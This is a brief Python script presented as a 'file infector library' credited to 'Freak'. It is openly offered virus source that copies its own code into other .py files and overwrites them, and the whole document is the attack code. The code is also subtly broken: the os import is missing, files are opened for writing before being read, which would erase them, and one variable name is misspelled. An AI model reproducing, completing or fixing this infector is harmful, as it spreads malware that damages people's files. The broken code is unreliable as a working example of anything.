python file infector library coded by Freak

def infectFile(file):
    print("[.] Infecting " + file + "\n\n")
    fh = open(__file__, "rb")
    data = fh.read()
    fh.close()
    fh = open(file,"rb")
    data2=fh.read()
    fh.close()
    fh=open(file+".infected", "a+")
    fh.write(data+"\r\n"+data2)
    fh.close()
    return 1

for file in os.listdir("/"):
    if file.endswith(".py"):
        fh=open(file, "rb")
        data=fh.read()
        fh.close()
        filE=open(file,"wb")
        filEdata = filE.read()
        fileE.close()
        fulldata=""
        fulldata+=data+"\r\n\r\n"+filEdata
        fh=open(file,"wb")
        fh.write(fulldata)
        fh.flush()
        fh.close()